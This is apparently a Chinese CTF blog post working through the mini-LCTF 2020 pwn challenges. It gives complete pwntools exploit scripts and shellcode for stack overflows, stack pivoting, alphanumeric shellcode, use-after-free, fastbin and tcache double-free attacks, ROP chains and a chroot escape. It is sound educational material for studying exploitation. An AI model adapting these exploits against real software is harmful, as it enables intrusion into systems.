arttnba3's blog

- arttnba3的隐秘小窝 -

0%

【CTF题解-0x01】mini-LCTF 2020 write up by arttnba3

0x00.绪论

mini-LCTF,前身是makerCTF,是西电校内享誉盛名(?)的CTF,作为菜鸡CTFer也尝试着参加了一手

因为咱主攻PWN的原因,所以这一篇应该只有PWN(

(不过主要还是因为我太菜了XD

注:所有题目在archive.lctf.online上都有部署

0x01.Sign in

Starting Point

点进页面就可以直接获得flag了

0x02.PWN

hello - ret2shellcode

点击下载-hello

证明了我真的是菜鸡的一道pwn题,搞了半天才明白XD

做题环境Manjaro-KDE

首先使用checksec指令查看保护,可以发现保护基本都是关的,只有Partial RELRO,那么基本上是可以为所欲为了wwww

拖进IDA进行分析

image.png

可以发现在vul函数存在明显的栈溢出

image.png

而程序的主函数中调用了vul函数

image.png

那么程序漏洞很明显了:

  • 使用fgets读入最大为72个字节的字符串,但是只分配给了48字节的空间,存在栈溢出

又有一个可疑的bd函数,那么第一时间想到ret2text——构造payload跳转到bd

但是很明显,bd函数基本是是空的(悲)

image.png

然后我就在这里卡了半天,证明我真的菜XD,感谢cor1e大佬的耐心解答

那么我们该如何利用这个bd呢?

可以看到在bd中存在gadgetsjmp rsp,那么其实我们可以利用这个指令跳转回栈上,执行我们放在栈上的shellcode

也就是说这其实是一道ret2shellcode的题

我们只需要利用这个gadgets将控制流跳转回栈上并执行我们放置在栈上的代码即可getshell

那么payload就很容易构造出来了:

注:第一次盲打payload居然错了,我还是太菜了Or2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.arch = 'amd64'
sc1 = asm(shellcraft.sh())
sc2 = asm('sub rsp,64')
sc3 = asm('jmp rsp')
elf = ELF('./hello')

payload = sc1 + b'a'*(56-len(sc1)) + p64(0x4006CA) + sc2 + sc3

p = process('./hello')#p = remote('pwn.challenge.mini.lctf.online',10050)
p.recv()
p.sendline(payload)
p.interactive()

image.png

高阶解法:栈迁移

费力解法

假如说这道题并不存在供我们进行跳转的bd函数,给我们的溢出长度就只有72-48=24个字节,但是仅仅是asm(sellcraft.sh())就已经需要48个字节,那么我们该如何通过仅仅24字节的溢出完成pwn呢

答案是使用栈迁移技术

我们可以将栈劫持到bss段,再在上面放上我们的shellcode

image.png

故构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

offset = 0x30
bss = 0x601060
back_to_gets = 0x4006fa

sc = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload1 = b'A'*offset + p64(bss+500) + p64(back_to_gets)
payload2 = sc + b'A'*(offset - len(sc)) + p64(bss+500) + p64(bss+500-offset)

p = process('./hellp')#p = remote('pwn.challenge.lctf.online', 10037)
p.recv()
p.sendline(payload1)
sleep(1)
p.sendline(payload2)
p.interactive()

image.png

如何将一个栈劫持到别的地方?栈迁移的运行原理究竟是?

做了那么多的pwn题,我们都知道在构造栈溢出的rop链时不仅要算上栈原本所分配的空间的大小,还要算上ebp/rbp寄存器所占用的4/8个字节,之后才到函数的返回地址,这是因为在一个函数启动时,会先将ebp/rbp的值压入栈中,之后将指向栈顶的esp/rsp寄存器的值赋给ebp/rbp寄存器,随后通过ebp/rbp寄存器来实现对栈的访问

image.png

image.png

同样的,有压栈同样就会有出栈来恢复ebp/rbp与esp/rsp的值,我们都知道在函数运行到末尾时,会执行leaveretn两条指令

image.png

其中leave指令便是用来恢复栈帧的指令,它等价于如下指令:

1
2
3
;ebp & esp in 32-bit
mov rsp, rbp
pop rbp

由于对栈的访问都是通过ebp/rbp进行的,那么我们不难想到,只要我们在溢出时覆写掉栈内储存的原ebp/rbp的值在retn指令返回后程序所判定的栈基址其实就变成了我们所覆写上的那个地址,之后程序在调用栈上的变量的时候其实都是基于我们所覆写上的新的栈基址进行操作的了,相当于把栈劫持到另一个地方,所以又叫栈劫持

注:赛期因为各种ddl导致只解出了这一道题XD 后面的题解是在赛后写的 部分参照了Lunatic和eqqie师傅的题解

ezsc - Alphanumeric Shellcode

点击下载-ezsc

首先是惯例的checksec

image.png

四舍五入保护全关,我们有极大的操作空间

程序分析

拖入IDA进行分析

image.png

v7是一个函数指针,并被分配到了0x1000大小的内存空间

程序会从输入流逐字节读入最大4096个字节写入到v7所指向的空间上,且限制输入仅能为字母或数字否则终止输入

输入结束后尝试执行函数指针v7

那么我们直接输入一段shellcode即可getshell

但是限制了输入只能是数字和字母,常见的shellcode都包含一些其他字符

于是只好百度XD

image.png

得知一种叫做Alphanumeric Shellcode的东西www

Alphanumeric Shelllcode

具体参见:https://www.freebuf.com/articles/system/232280.html

首先从GitHub上随便找一个轮子

1
$ git clone https://github.com/TaQini/alpha3.git

然后编写生成我们的shellcode的脚本

1
2
3
4
5
# sc.py
from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)

输出重定向至文本

1
$ python sc.py > sc

使用轮子生成alphanumeric shellcode

1
$ python ./ALPHA3.py x64 ascii mixedcase rax --input="sc"

image.png

1
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00

连接服务端,发送我们的alphanumeric shellcode,成功getshell

![MVEZ9F_H1__I__D`AQI_8.png](https://i.loli.net/2020/09/11/XolvfAEcPxyF6q5.png)

easycpp - UAF

点击下载-easycpp
点击下载-libc.so.6

首先是惯例的checksec

image.png

我们可以看到,和前面几题不同的是这个程序是一个32位的程序

说实话我也不知道为什么画风突变变成32位XD

程序分析

拖入IDA进行分析

image.png

用到了一个名为B的类,我们先看看这个类都有些啥

IDA中类B有一个构造函数B()和一个print()函数

image.png

类B的构造函数如下:

image.png

类B的构造函数首先调用了类A的构造函数,然后将变量_vptr_A设置为一个函数指针

我们不难看到在0x80489E4位置上我们还需要再跳转一次到0x80488F2的位置,这个位置上有一个B::print()函数,故可知这是一个二级函数指针

image.png

image.png

我们再来看看类A的构造函数,如下:

image.png

类A的构造函数也是将变量_vptr_A设置为一个函数指针

位于off_80489F0上的函数为A::print()

image.png

image.png

接下来是main函数的简单分析:

image.png

v3、v4都是一个类型为类 B的指针

首先setvbuf()函数将程序设置为无缓冲输入

之后创建了一个类B的实例并将地址给到指针v3和v4

之后将该实例内的变量_vptr_A的值设为0

之后使用delete释放掉之前分配给v3、v4的内存

之后从标准输入流读入1024个字节到buf(或许有操作空间?)

之后调用strbuf()函数重新分配一段内存空间并将buf的值拷贝一份(当然最后并没有指针接收这一块内存,那么它会成为野内存吗?)

最后重新调用v4的函数指针变量所指向的函数

那么我们在这里就可以发现一个漏洞:

Use After Free

v3、v4所指向的内存空间被释放后v3、v4并没有被设置为NULL,在运行到strdup()函数时这一块内存空间又被重新分配给strdup()函数,而之后又通过v4再次对这一块内存空间进行调用,很明显存在UAF(Use After Free)漏洞

同时我们可以发现存在一个backdoor()函数直接调用了system("/bin/sh"),可以直接getshell

image.png

故我们只需要覆写掉函数指针所指的函数为backdoor()函数即可getshell

构造二级指针的结构应为

buf buf+4
右边那一块的地址 -> 指向backdoor函数的地址

buf的地址如下:

image.png

故得exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.log_level = 'debug'

p = process('easycpp')#p = remote('pwn.challenge.lctf.online', 10030)

backdoor = 0x80487BB
buf = 0x804A0C0

payload = p32(buf + 4) + p32(backdoor)

p.sendline(payload)

p.interactive()

向服务器发送payload,成功getsgell

2Z~KGBW9__2C_6__Z_JM770.png

可能是因为一些奇奇怪怪的原因,cat flag出来的flag不对

noleak - Integer Overflow + Heap Overflow + Fastbin Attack

点击下载-time_management.zip

首先是惯例的checksec,发现开了NX保护和Canary

image.png

先简单运行看一下,有新建、编辑、删除的简单计划程序,这种十分规范的模式让人感觉的出来应该是一道堆题(说好的只出栈呢

image.png

拖入IDA进行分析:(以下部分函数及变量经重命名
image.png

该程序有着分配、修改、释放堆块的功能,一看就是一道很难的堆题

我们发现在用以读入输入的sub_400896()函数中存在整数溢出漏洞:当我们输入的长度为0时,由于其会先减一再转换成unsigned int类型,发生整数溢出,导致我们可以输入较长的内容到堆块上

image.png

同时我们发现存在白给的后门函数`:
image.png

由于got表开启了读写权限,故考虑fastbin attack:伪造fake chunk改写got表中free的地址为后门函数地址,之后随意释放一个堆块即可getshell

由于堆块指针表位于bss段,故我们考虑将其中一个指针的地址改写为free@got后直接edit即可

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
p = remote('pwn.challenge.lctf.online',10069)
e = ELF('./time_management')
#context.log_level = 'debug'

ptr_array = 0x6020c0
backdoor_addr = 0x400c9f

def alloc(size:int,content):
p.recvuntil(b'Your choice : ')
p.sendline(b'1')
p.recvuntil(b'How many minutes will it take you to finish?')
p.sendline(str(size).encode())
p.recvuntil(b'Content of the plan: ')
p.sendline(content)

def edit(index:int,size:int,content):
p.recvuntil(b'Your choice : ')
p.sendline(b'2')
p.recvuntil(b'Index : ')
p.sendline(str(index).encode())
p.recvuntil(b'How many minutes will it take you to finish?')
p.sendline(str(size).encode())
p.recvuntil(b'Content of the plan: ')
p.sendline(content)

def free(index:int):
p.recvuntil(b'Your choice : ')
p.sendline(b'3')
p.recvuntil(b'Index : ')
p.sendline(str(index).encode())

alloc(0x60,'arttnba3')#idx0
alloc(0x60,'arttnba3')#idx1
alloc(0x60,'arttnba3')#idx2

free(1)

edit(0,0,0x60*b'A' + p64(0xdeadbeef) + p64(0x71) + p64(ptr_array - 0x10-3))
alloc(0x60,'arttnba3')#idx1
alloc(0x60,'arttnba3')#idx3, fake chunk above the ptr_array

edit(3,0,b'A'*3 + p64(e.got['free']))
edit(0,0,p64(backdoor_addr))
free(0)

p.interactive()

运行脚本即可getshell

image.png

heap_master - tcache double free(use after free) + orw

点击下载-pwn

遭到了sad师傅的暴击Or2

(某种程度上算是minil的压轴题…?虽然说当时我连看都没看(←摸鱼划水人士,小朋友别学他

惯例的checksec,发现除了地址随机化以外都开上了

image.png

拖入IDA进行分析

image.png

程序本身有着分配堆块、释放堆块、输出堆块内容的功能

我们发现在delete()函数中free()并没有将相应堆块指针置0,存在UAF

image.png

题目提示libc可能是2.23也可能是2.27,尝试直接进行double free,发现程序没有崩溃,故可知是没有double free检查的2.27的tcache

libc2.29后tcache加入double free检查

image.png

main()函数开头的init()函数中调用了prctl()函数,限制了我们不能够getshellimage.png

首先我们想到,我们可以先填满tcache,之后分配一个unsorted bin范围的chunk,通过打印该chunk的内容获取main_arena + 0x60的地址,进而获得libc的地址

libc2.27之前unsorted bin里的chunk的fd/bk似乎是指向main_arena+0x58的,现在变成main_arena+0x60了,等有时间得去看看libc2.27的源码了…

虽然我们不能够getshell,但是依然可以通过double free进行任意地址写,毕竟CTF题目的要求是得到flag,不一定要得到shell,故考虑通过environ变量泄漏出栈地址后在栈上构造rop链进行orw读出flag

tips: __environ是一个保存了栈上变量地址的系统变量

通过动态调试我们容易得到___environnew()中的返回地址间距离为0x220,将rop链写到这个返回地址上即可接收到flag

image.png

image.png

构造payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

context.log_level = 'DEBUG'
context.arch = 'amd64'

p = process('./pwn') # p = remote('pwn.challenge.lctf.online',10042)
e = ELF('./pwn')
libc = ELF('./libc-2.27.so')

note_addr = 0x6020c0
flag_addr = e.bss() + 0x500

def new(size:int, content):
p.recvuntil(b'>> ')
p.sendline(b'1')
p.recvuntil(b'size?')
p.sendline(str(size).encode())
p.recvuntil(b'content?')
p.send(content)

def delete(index:int):
p.recvuntil(b'>> ')
p.sendline(b'2')
p.recvuntil(b'index ?')
p.sendline(str(index).encode())

def dump(index:int):
p.recvuntil(b'>> ')
p.sendline(b'3')
p.recvuntil(b'index ?')
p.sendline(str(index).encode())

def exp():
p.recvuntil(b'what is your name? ')
p.sendline(b'arttnba3')

new(0x80, 'arttnba3') # idx 0
new(0x80, 'arttnba3') # idx 1
new(0x60, 'arttnba3') # idx 2
new(0xb0, 'arttnba3') # idx 3

# fill the tcache
for i in range(7):
delete(0)

# unsorted bin leak libc addr
delete(1)
dump(1)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook'] # 0x3cbc30
environ = libc_base + libc.sym['__environ'] # 0x3ee098
pop_rdi_ret = libc_base + libc.search(asm('pop rdi\nret')).__next__()
pop_rsi_ret = libc_base + libc.search(asm('pop rsi\nret')).__next__()
pop_rdx_ret = libc_base + libc.search(asm('pop rdx\nret')).__next__()

# double free in tcache 2
delete(2)
delete(2)

# overwrite node[0]
new(0x60, p64(note_addr)) # idx 4, former 2
new(0x60, 'arttnba3') # idx 5, former 2
new(0x60, p64(environ))# idx 6, locate at the note[0] and overwrite it

# leak stack addr
dump(0)
stack_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
ret = stack_leak - 0x220

# rop chain
payload = p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(4) + p64(e.plt['read']) # read str 'flag' from input
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(4) + p64(libc_base + libc.sym['open'])# open file 'flag'
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x30) + p64(e.plt['read'])# read flag from file ptr 3(opened by open())
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(e.plt['puts'])

# double free write rop chain on stack
delete(3)
delete(3)
new(0xb0, p64(ret))# idx 7, former 3
new(0xb0, 'arttnba3') # idx 8, former 3
new(0xb0, payload) # idx 9, locate on the stack

# get the flag
p.send('flag')
p.interactive()

if __name__ == '__main__':
exp()

运行脚本即得flag

image.png

【感想】

不愧是能让sad师傅困扰一天的题目,也让我困扰了一天…同时也确实如同🐧师傅所说的,“这是十分值得复现的一道题”

比较精髓的一个点应该就是对于环境变量__environ的利用来在栈上构造rop链了

【踩坑*1】
一开始我在自己的manjaro(libc2.32)上调,计算出来的__environ到返回地址的距离是0x230…,然后一直打不通…
image.png

image.png

冥思苦想半天只好选择装个ubuntu18(libc2.27)试一下,发现距离居然是0x220…然后就通了…

image.png

【未解决问题】
在第一次double free的时候的chunk size必须为0x60(0x71),第二次double free时的chunk size必须大于等于0xb0(0xc1),究竟为何我暂且蒙在古里…(希望有师傅能通过左侧的邮箱告诉我www)

jail - chroot越狱

点击下载-chroot

惯例的checksec,开了NX和canary

image.png

拖入IDA进行分析

image.png

不难看出该程序会fork()出子进程,子进程读入我们的输入并调用execveat系统调用来尝试执行我们的程序

但是flag一般位于根目录下,而我们在子进程中的工作目录被转移到了/tmp/jail/下,无法直接读取根目录下的flag

image.png

注意到在开头的init()函数中会打开/tmp/,文件描述符分别为3和4(0,1,2为stdin,stdout,stderr)

image.png

image.png

故直接考虑使用fchdir()函数便可切换到根目录下读取flag

构造exp如下

C部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <fcntl.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char ** argv, char ** envp) {
int fd;
char buf[100] = {};
fchdir(4);
fd = open64("flag", 0);
printf("fd:%d\n", fd);
read(fd, buf, 100);
write(1, buf, 100);
}

Python部分

1
2
3
4
5
6
7
8
9
from pwn import *
f = open('./exploit', 'rb')
payload = f.read()

p = process('./chroot')
p.sendline(str(len(payload)))
p.sendline(payload)
p.sendline('')
p.interactive()

运行即得flag

image.png

Welcome to my other publishing channels